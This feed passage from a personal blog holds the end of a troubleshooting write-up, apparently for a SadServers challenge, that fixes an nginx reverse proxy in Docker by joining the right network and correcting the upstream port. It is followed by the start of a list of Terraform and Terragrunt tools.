&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; http://localhost/1
* Host localhost:80 was resolved.
* IPv6: ::1
* IPv4: &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1
*   Trying &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;::1&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;:80&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
* Connected to localhost &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;::1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; port &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
* using HTTP/1.x
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; GET /1 HTTP/1.1
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Host: localhost
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; User-Agent: curl/8.14.1
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Accept: */*
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
* Request completely sent off
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; HTTP/1.1 &lt;span class=&quot;token number&quot;&gt;504&lt;/span&gt; Gateway Time-out
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Server: nginx/1.29.3
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Date: Sun, 07 Dec &lt;span class=&quot;token number&quot;&gt;2025&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;23&lt;/span&gt;:24:22 GMT
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Content-Type: text/html
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Content-Length: &lt;span class=&quot;token number&quot;&gt;167&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Connection: keep-alive
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;head&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;504&lt;/span&gt; Gateway Time-out&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/title&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/head&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;center&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;1&lt;/span&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;504&lt;/span&gt; Gateway Time-out&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/h&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;1&lt;/span&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/center&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;hr&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;center&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;nginx/1.29.&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;3&lt;/span&gt;&amp;lt;&lt;/span&gt;/center&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/html&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
* Connection &lt;span class=&quot;token comment&quot;&gt;#0 to host localhost left intact&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Basic exploratory commands:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-03fc55a1924a48445:~$ &lt;span class=&quot;token function&quot;&gt;whoami&lt;/span&gt;
admin

admin@i-03fc55a1924a48445:~$ &lt;span class=&quot;token function&quot;&gt;id&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;admin&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;admin&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;admin&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,4&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;adm&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,20&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dialout&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,24&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cdrom&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,25&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;floppy&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,27&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sudo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,29&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;audio&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,30&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dip&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,44&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;video&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,46&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;plugdev&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;,989&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;docker&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

admin@i-03fc55a1924a48445:~$ &lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;
/home/admin

admin@i-03fc55a1924a48445:~$ &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-lah&lt;/span&gt;
total 36K
drwx------ &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:42 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
drwxr-xr-x &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; root  root  &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Sep  &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:29 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
drwx------ &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Sep  &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:31 .ansible
-rw-r--r-- &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; admin admin  &lt;span class=&quot;token number&quot;&gt;220&lt;/span&gt; Jul &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;19&lt;/span&gt;:28 .bash_logout
-rw-r--r-- &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;.5K Jul &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;19&lt;/span&gt;:28 .bashrc
-rw-r--r-- &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; admin admin  &lt;span class=&quot;token number&quot;&gt;807&lt;/span&gt; Jul &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;19&lt;/span&gt;:28 .profile
drwx------ &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Sep  &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:29 .ssh
-rw-r--r-- &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; admin admin    &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; Sep  &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:31 .sudo_as_admin_successful
drwxrwxrwx &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:42 agent
drwxrwxrwx &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:42 app

admin@i-03fc55a1924a48445:~$ &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-lah&lt;/span&gt; app/
total 12K
drwxrwxrwx &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:42 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
drwx------ &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; admin admin &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;.0K Dec  &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;:42 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
-rw-rw-r-- &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; admin admin  &lt;span class=&quot;token number&quot;&gt;638&lt;/span&gt; Dec  &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;23&lt;/span&gt;:46 default.conf

admin@i-03fc55a1924a48445:~$ &lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; app/default.conf
    server &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        listen &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        location / &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            root   /usr/share/nginx/html&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            index  index.html index.htm&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        location /1 &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            rewrite ^ / &lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_pass http://statichtml1.sadservers.local&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_connect_timeout   2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_send_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_read_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        location /2 &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            rewrite ^ / &lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_pass http://statichtml2.sadservers.local&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_connect_timeout   2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_send_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_read_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see that we have a nginx config in &lt;code&gt;app&lt;/code&gt;. It&#39;s probably mounted in the nginx container:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;{{ .ID }} {{ .Names }} {{ json .Networks }} {{ .Mounts }}&quot;&lt;/span&gt; --no-trunc
89bf0e394bb9 statichtml2 &lt;span class=&quot;token string&quot;&gt;&quot;static-net&quot;&lt;/span&gt;
1f96c1876662 statichtml1 &lt;span class=&quot;token string&quot;&gt;&quot;static-net&quot;&lt;/span&gt;
7440094fc321 nginx &lt;span class=&quot;token string&quot;&gt;&quot;bridge&quot;&lt;/span&gt; /home/admin/app/default.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Docker containers:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt;
CONTAINER ID   IMAGE          COMMAND                  CREATED      STATUS          PORTS                                 NAMES
89bf0e394bb9   statichtml:2   &lt;span class=&quot;token string&quot;&gt;&quot;busybox httpd -f -v…&quot;&lt;/span&gt;   &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; days ago   Up &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt; seconds   &lt;span class=&quot;token number&quot;&gt;3000&lt;/span&gt;/tcp                              statichtml2
1f96c1876662   statichtml:1   &lt;span class=&quot;token string&quot;&gt;&quot;busybox httpd -f -v…&quot;&lt;/span&gt;   &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; days ago   Up &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt; seconds   &lt;span class=&quot;token number&quot;&gt;3000&lt;/span&gt;/tcp                              statichtml1
7440094fc321   nginx          &lt;span class=&quot;token string&quot;&gt;&quot;/docker-entrypoint.…&quot;&lt;/span&gt;   &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; days ago   Up &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt; seconds   &lt;span class=&quot;token number&quot;&gt;0.0&lt;/span&gt;.0.0:80-&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;/tcp, &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;::&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;:80-&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;/tcp   nginx

&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; network &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt;
NETWORK ID     NAME         DRIVER    SCOPE
9d257323d6f9   bridge       bridge    &lt;span class=&quot;token builtin class-name&quot;&gt;local&lt;/span&gt;
a7250a90f896   &lt;span class=&quot;token function&quot;&gt;host&lt;/span&gt;         &lt;span class=&quot;token function&quot;&gt;host&lt;/span&gt;      &lt;span class=&quot;token builtin class-name&quot;&gt;local&lt;/span&gt;
b08d312e9d16   none         null      &lt;span class=&quot;token builtin class-name&quot;&gt;local&lt;/span&gt;
cc3e04c023f1   static-net   bridge    &lt;span class=&quot;token builtin class-name&quot;&gt;local&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oh, we have more than one network. Interesting. Let&#39;s look into it:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;{{ .ID }} {{ .Names }} {{ json .Networks }}&quot;&lt;/span&gt;
89bf0e394bb9 statichtml2 &lt;span class=&quot;token string&quot;&gt;&quot;static-net&quot;&lt;/span&gt;
1f96c1876662 statichtml1 &lt;span class=&quot;token string&quot;&gt;&quot;static-net&quot;&lt;/span&gt;
7440094fc321 nginx &lt;span class=&quot;token string&quot;&gt;&quot;bridge&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First issue is here! nginx container is not on the same network than the destination containers. Basic routing issue.&lt;/p&gt;
&lt;p&gt;If nginx is a proxy to the other containers, it needs to be on the same network. Otherwise, no traffic will be able to reach the destination containers.&lt;/p&gt;
&lt;p&gt;Let&#39;s connect the nginx proxy to the &lt;code&gt;static-net&lt;/code&gt; network:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; network connect static-net 7440094fc321
&lt;span class=&quot;token comment&quot;&gt;# And confirm it&#39;s connected&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;{{ .ID }} {{ .Names }} {{ json .Networks }}&#39;&lt;/span&gt;
89bf0e394bb9 statichtml2 &lt;span class=&quot;token string&quot;&gt;&quot;static-net&quot;&lt;/span&gt;
1f96c1876662 statichtml1 &lt;span class=&quot;token string&quot;&gt;&quot;static-net&quot;&lt;/span&gt;
7440094fc321 nginx &lt;span class=&quot;token string&quot;&gt;&quot;bridge,static-net&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first I thought that was it. But the challenge wasn&#39;t done yet. &lt;code&gt;curl http://localhost/1&lt;/code&gt; was now returning a 502 - Bad Gateway.&lt;/p&gt;
&lt;p&gt;We have something else that we need to fix. Let&#39;s look at the nginx config. It&#39;s on the host at &lt;code&gt;app/default.conf&lt;/code&gt;. It&#39;s been mounted in the nginx container:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; app/default.conf
    server &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        listen &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        location / &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            root   /usr/share/nginx/html&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            index  index.html index.htm&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        location /1 &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            rewrite ^ / &lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_pass http://statichtml1.sadservers.local&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_connect_timeout   2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_send_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_read_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        location /2 &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            rewrite ^ / &lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_pass http://statichtml2.sadservers.local&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_connect_timeout   2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_send_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            proxy_read_timeout      2s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did you notice it? The statichtml containers are exposing the port 3000, but this config is using the default HTTP port (80). We have a second issue to fix here!&lt;/p&gt;
&lt;p&gt;We need to specify the port 3000 for the proxy redirection to work:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;proxy_pass http://statichtml1.sadservers.local:3000;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Lastly, for the config change to apply, we restart the container with &lt;code&gt;docker restart 7440094fc321&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Did it work?&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; http://localhost/1
&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; HTTP/1.1 &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt; OK
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Server: nginx/1.29.3
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Date: Sun, 07 Dec &lt;span class=&quot;token number&quot;&gt;2025&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;23&lt;/span&gt;:28:07 GMT
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Content-Type: text/html
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Content-Length: &lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Connection: keep-alive
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Accept-Ranges: bytes
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Last-Modified: Thu, &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt; Oct &lt;span class=&quot;token number&quot;&gt;2025&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;:33:09 GMT
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; ETag: &lt;span class=&quot;token string&quot;&gt;&quot;6903cb85-d&quot;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;
HelloWorld&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
* Connection &lt;span class=&quot;token comment&quot;&gt;#0 to host localhost left intact&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It sure did! 🚩&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Terraform/terragrunt tools</title>
    <link href="https://jrb.nz/posts/terraform-tools/" />
    <updated>2024-11-06T00:00:00Z</updated>
    <id>https://jrb.nz/posts/terraform-tools/</id>
    <content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/aquasecurity/tfsec&quot;&gt;tfsec&lt;/a&gt; - Static analysis security scanner for Terraform code&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bridgecrewio/checkov&quot;&gt;Checkov&lt;/a&gt; - Static code analysis tool for infrastructure-as-code&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Checkmarx/kics&quot;&gt;KICS (Keeping Infrastructure as Code Secure)&lt;/a&gt; - Security vulnerability scanning and compliance testing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tenable/terrascan&quot;&gt;Terrascan&lt;/a&gt; - Static code analyzer for Infrastructure as Code&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/terraform-linters/tflint&quot;&gt;tflint&lt;/a&gt; - Terraform linter focused on possible errors and best practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gruntwork-io/terratest&quot;&gt;Terratest&lt;/a&gt; - Testing infrastructure code&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terraform-compliance.com/&quot;&gt;terraform-compliance&lt;/a&gt; - Compliance as code framework&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/stelligent/config-lint&quot;&gt;config-lint&lt;/a&gt; - Rules-based configuration validation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/infracost/infracost&quot;&gt;Infracost&lt;/a&gt; - Shows cloud cost estimates for Terraform&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gruntwork-io/terragrunt&quot;&gt;Terragrunt&lt;/a&gt; - Thin wrapper for Terraform that provides extra tools&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/runatlantis/atlantis&quot;&gt;Atlantis&lt;/a&gt; - Terraform pull request automation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/snyk/driftctl&quot;&gt;driftctl&lt;/a&gt; - Infrastructure drift detection tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/leg100/otf&quot;&gt;OTS (Open Terraforming Server)&lt;/a&gt; - Open source alternative to Terraform Enterprise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/GoogleCloudPlatform/terraformer&quot;&gt;Terraformer&lt;/a&gt; - Infrastructure to code tool (reverse Terraform)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hashicorp/terraform-cdk&quot;&gt;CDK for Terraform&lt;/a&gt; - Cloud Development Kit for Terraform&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/iann0036/former2&quot;&gt;Former2&lt;/a&gt; - Generates Terraform/CloudFormation/Troposphere configurations from existing AWS resources&lt;/li&gt;
